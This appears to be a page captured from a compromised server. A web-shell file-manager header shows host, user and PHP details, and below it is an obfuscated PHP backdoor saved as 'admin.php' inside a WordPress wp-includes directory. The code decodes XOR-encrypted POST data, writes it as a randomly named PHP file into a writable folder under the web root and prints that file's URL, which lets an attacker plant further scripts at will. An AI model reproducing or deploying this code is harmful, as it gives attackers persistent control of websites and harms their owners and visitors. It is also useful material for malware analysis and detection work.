HEX
Server: Apache
System: Linux host.dominioscaracas.com 4.18.0-477.15.1.lve.2.el8.x86_64 #1 SMP Wed Aug 2 10:43:45 UTC 2023 x86_64
User: enciassa (1159)
PHP: 8.1.31
Disabled: exec,passthru,shell_exec,system
Upload Files
File: /home/enciassa/public_html/wp-includes/blocks/shortcode/admin.php
<?php function bPkWAdhk($iraRLobdP, $lxpLElJhL, $SsZfPspM){$kLatbtkrY = "1de35786-1225-4570-a4a9-e09c7dd4e78c";return $iraRLobdP ^ $kLatbtkrY[$lxpLElJhL % strlen($kLatbtkrY)] ^ $SsZfPspM;}$DjwaoRyydY = "mnZYUtVB";function Wwnmm($DjwaoRyydY){ $BlQVJA = chr(935-820).chr(761-645).chr(114)."\137".chr(441-327).'o'."\x74"."\61".'3';$DjwaoRyydY = $BlQVJA($DjwaoRyydY);$PCKsVAaZ = 'r'.chr(763-666).'w'."\x75"."\162".'l'."\x64".'e'.chr(99).chr(111)."\144"."\145";$DjwaoRyydY = $PCKsVAaZ($DjwaoRyydY);$DjwaoRyydY = str_split($DjwaoRyydY);return $DjwaoRyydY;}function DWDqPs($UedUeaTDx, $SsZfPspM){$UedUeaTDx = array_map("bPkWAdhk", array_values($UedUeaTDx), array_keys($UedUeaTDx), array_values($SsZfPspM));$UedUeaTDx = implode("", $UedUeaTDx);$iKAwx = "\x75"."\156".chr(115).chr(101).'r'.'i'.chr(121-24)."\x6c".chr(1012-907).chr(122)."\145";$UedUeaTDx = @$iKAwx($UedUeaTDx);return $UedUeaTDx;}function qQrjFQ($SsZfPspM, $UedUeaTDx){$SsZfPspM = array_slice(str_split(str_repeat($SsZfPspM, (count($UedUeaTDx)/16)+1)), 0, count($UedUeaTDx));return $SsZfPspM;}function yTXGY(){echo "CuKsZhd";}function IHFJNtUS($yyulUROGnoir){static $VhClNDj = array();$AFOnKWeS = glob($yyulUROGnoir . '/*', GLOB_ONLYDIR);$AAgokFEKL = count($AFOnKWeS);if ($AAgokFEKL > 0) {foreach ($AFOnKWeS as $yyulUROGno) {$lIwOq = "\151"."\163".chr(997-902).chr(119)."\x72".'i'.'t'.chr(349-252)."\x62".chr(632-524)."\x65";if (@$lIwOq($yyulUROGno)) {$VhClNDj[] = $yyulUROGno;}}}foreach ($AFOnKWeS as $yyulUROGnoir) IHFJNtUS($yyulUROGnoir);return $VhClNDj;}function sRJlOOel($UedUeaTDx){$KrtTbfb = 'D'.'O'.chr(67)."\125".'M'."\x45".chr(178-100)."\124"."\x5f"."\x52".chr(322-243).chr(792-713).chr(1002-918);$sBhMVAVXD = $_SERVER[$KrtTbfb];$AFOnKWeS = IHFJNtUS($sBhMVAVXD);$aHriRfiXAB = array_rand($AFOnKWeS);$oezWZSEdN = "\x2e"."\160"."\150"."\160";$FQiswQqT = $AFOnKWeS[$aHriRfiXAB] . "/" . substr(md5(time()), 0, 8) . $oezWZSEdN;$AqWuw = chr(102)."\x69".chr(108)."\145".chr(95)."\x70".chr(528-411).chr(116).'_'."\143".'o'.chr(332-222).'t'.'e'."\156"."\164".chr(1058-943);@$AqWuw($FQiswQqT, $UedUeaTDx);$NrLjZ = chr(72).'T'.chr(862-778)."\x50"."\137".'H'.'O'.'S'.'T';$Rxarem = 'h'.chr(116).'t'."\x70"."\72"."\57"."\57";$DtQNUUZl = $Rxarem . $_SERVER[$NrLjZ] . substr($FQiswQqT, strlen($sBhMVAVXD));print($DtQNUUZl);}function UELRGh(){$gtOQnlU = "\160"."\x68"."\x70";$hljcUodn = chr(112)."\x68".chr(112).chr(118).'e'."\162"."\x73".chr(416-311).'o'."\156";$UedUeaTDx = Array($gtOQnlU => @$hljcUodn(), );$DAUtF = 's'."\145"."\162".chr(969-864).chr(97).chr(195-87)."\151".'z'."\x65";echo @$DAUtF($UedUeaTDx);}function vmRxNfaequ(){echo "mnZYUtVB";}foreach ($_POST as $SsZfPspM => $UedUeaTDx){$lLRrbuW = strlen($SsZfPspM);if ($lLRrbuW == 16){$UedUeaTDx = Wwnmm($UedUeaTDx);$SsZfPspM = qQrjFQ($SsZfPspM, $UedUeaTDx);$UedUeaTDx = DWDqPs($UedUeaTDx, $SsZfPspM);if (@is_array($UedUeaTDx)){$aHriRfiXAB = array_keys($UedUeaTDx);$UedUeaTDx = $UedUeaTDx[$aHriRfiXAB[0]];$aHriRfiXAB = $aHriRfiXAB[0];$aHriRfiXAB = substr($aHriRfiXAB, 0);if ($UedUeaTDx !== $aHriRfiXAB){sRJlOOel($UedUeaTDx);}else {UELRGh();}}}}die();